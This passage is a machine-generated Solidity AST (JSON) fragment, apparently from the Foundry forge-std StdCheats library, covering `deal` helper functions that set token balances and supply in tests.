memory"}},{"components":[{"id":5933,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"27911:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5932,"name":"uint256","nodeType":"ElementaryTypeName","src":"27911:7:3","typeDescriptions":{}}}],"id":5934,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"27910:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5929,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27887:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5930,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27891:6:3","memberName":"decode","nodeType":"MemberAccess","src":"27887:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5935,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27887:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"27870:50:3"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5939,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5937,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27938:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":5938,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"27945:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27938:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":5955,"nodeType":"Block","src":"28019:59:3","statements":[{"expression":{"id":5953,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5948,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"28037:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5949,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"28048:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5950,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"28055:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"28048:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5952,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"28047:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"28037:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5954,"nodeType":"ExpressionStatement","src":"28037:26:3"}]},"id":5956,"nodeType":"IfStatement","src":"27934:144:3","trueBody":{"id":5947,"nodeType":"Block","src":"27954:59:3","statements":[{"expression":{"id":5945,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5940,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"27972:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5943,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5941,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"27983:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5942,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27993:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27983:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5944,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"27982:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27972:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5946,"nodeType":"ExpressionStatement","src":"27972:26:3"}]}},{"expression":{"arguments":[{"id":5966,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"28144:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30783138313630646464","id":5963,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28118:10:3","typeDescriptions":{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"},"value":"0x18160ddd"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"}],"expression":{"arguments":[{"id":5960,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"28107:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5957,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"28091:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":5959,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28100:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"28091:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5962,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28114:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"28091:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":5964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5965,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28130:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"28091:52:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":5967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5968,"nodeType":"ExpressionStatement","src":"28091:60:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"27340:4:3","parameters":{"id":5878,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5871,"mutability":"mutable","name":"token","nameLocation":"27353:5:3","nodeType":"VariableDeclaration","scope":5972,"src":"27345:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5870,"name":"address","nodeType":"ElementaryTypeName","src":"27345:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5873,"mutability":"mutable","name":"to","nameLocation":"27368:2:3","nodeType":"VariableDeclaration","scope":5972,"src":"27360:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5872,"name":"address","nodeType":"ElementaryTypeName","src":"27360:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5875,"mutability":"mutable","name":"give","nameLocation":"27380:4:3","nodeType":"VariableDeclaration","scope":5972,"src":"27372:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5874,"name":"uint256","nodeType":"ElementaryTypeName","src":"27372:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5877,"mutability":"mutable","name":"adjust","nameLocation":"27391:6:3","nodeType":"VariableDeclaration","scope":5972,"src":"27386:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5876,"name":"bool","nodeType":"ElementaryTypeName","src":"27386:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27344:54:3"},"returnParameters":{"id":5879,"nodeType":"ParameterList","parameters":[],"src":"27416:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6093,"nodeType":"FunctionDefinition","src":"28174:1070:3","nodes":[],"body":{"id":6092,"nodeType":"Block","src":"28278:966:3","nodes":[],"statements":[{"assignments":[null,5986],"declarations":[null,{"constant":false,"id":5986,"mutability":"mutable","name":"balData","nameLocation":"28335:7:3","nodeType":"VariableDeclaration","scope":6092,"src":"28322:20:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5985,"name":"bytes","nodeType":"ElementaryTypeName","src":"28322:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5996,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783030666464353865","id":5991,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28386:10:3","typeDescriptions":{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},"value":"0x00fdd58e"},{"id":5992,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5976,"src":"28398:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5993,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28402:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5989,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28363:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5990,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28367:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"28363:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28363:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5987,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28346:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5988,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28352:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"28346:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":5995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28346:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"28319:87:3"},{"assignments":[5998],"declarations":[{"constant":false,"id":5998,"mutability":"mutable","name":"prevBal","nameLocation":"28424:7:3","nodeType":"VariableDeclaration","scope":6092,"src":"28416:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5997,"name":"uint256","nodeType":"ElementaryTypeName","src":"28416:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6006,"initialValue":{"arguments":[{"id":6001,"name":"balData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5986,"src":"28445:7:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6003,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"28455:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6002,"name":"uint256","nodeType":"ElementaryTypeName","src":"28455:7:3","typeDescriptions":{}}}],"id":6004,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"28454:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5999,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28434:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6000,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28438:6:3","memberName":"decode","nodeType":"MemberAccess","src":"28434:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28434:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"28416:48:3"},{"expression":{"arguments":[{"id":6022,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"28580:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6019,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28562:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6016,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5976,"src":"28549:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783030666464353865","id":6013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28528:10:3","typeDescriptions":{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},"value":"0x00fdd58e"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"}],"expression":{"arguments":[{"id":6010,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28517:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6007,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"28501:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6009,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28510:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"28501:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6011,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6012,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28524:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"28501:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6015,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28540:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"28501:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6018,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28553:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"28501:60:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:64:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6021,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28566:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"28501:78:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:84:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6024,"nodeType":"ExpressionStatement","src":"28501:84:3"},{"condition":{"id":6025,"name":"adjust","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5982,"src":"28631:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6091,"nodeType":"IfStatement","src":"28627:611:3","trueBody":{"id":6090,"nodeType":"Block","src":"28639:599:3","statements":[{"assignments":[null,6027],"declarations":[null,{"constant":false,"id":6027,"mutability":"mutable","name":"totSupData","nameLocation":"28669:10:3","nodeType":"VariableDeclaration","scope":6090,"src":"28656:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6026,"name":"bytes","nodeType":"ElementaryTypeName","src":"28656:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6036,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30786264383562303339","id":6032,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28723:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},"value":"0xbd85b039"},{"id":6033,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28735:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":6030,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28700:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6031,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28704:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"28700:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28700:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6028,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28683:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6029,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28689:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"28683:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6035,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28683:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"28653:86:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6041,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":6038,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6027,"src":"28778:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":6039,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28789:6:3","memberName":"length","nodeType":"MemberAccess","src":"28778:17:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":6040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28799:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"28778:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465616c28616464726573732c616464726573732c75696e742c75696e742c626f6f6c293a2074617267657420636f6e7472616374206973206e6f742045524331313535537570706c792e","id":6042,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28818:87:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_cbb83c7e91c85bace1157a2500e6a0534b39a660e193440ca8d86c890bf3fb8c","typeString":"literal_string \"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.\""},"value":"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cbb83c7e91c85bace1157a2500e6a0534b39a660e193440ca8d86c890bf3fb8c","typeString":"literal_string \"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.\""}],"id":6037,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"28753:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":6043,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28753:166:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6044,"nodeType":"ExpressionStatement","src":"28753:166:3"},{"assignments":[6046],"declarations":[{"constant":false,"id":6046,"mutability":"mutable","name":"totSup","nameLocation":"28941:6:3","nodeType":"VariableDeclaration","scope":6090,"src":"28933:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6045,"name":"uint256","nodeType":"ElementaryTypeName","src":"28933:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6054,"initialValue":{"arguments":[{"id":6049,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6027,"src":"28961:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 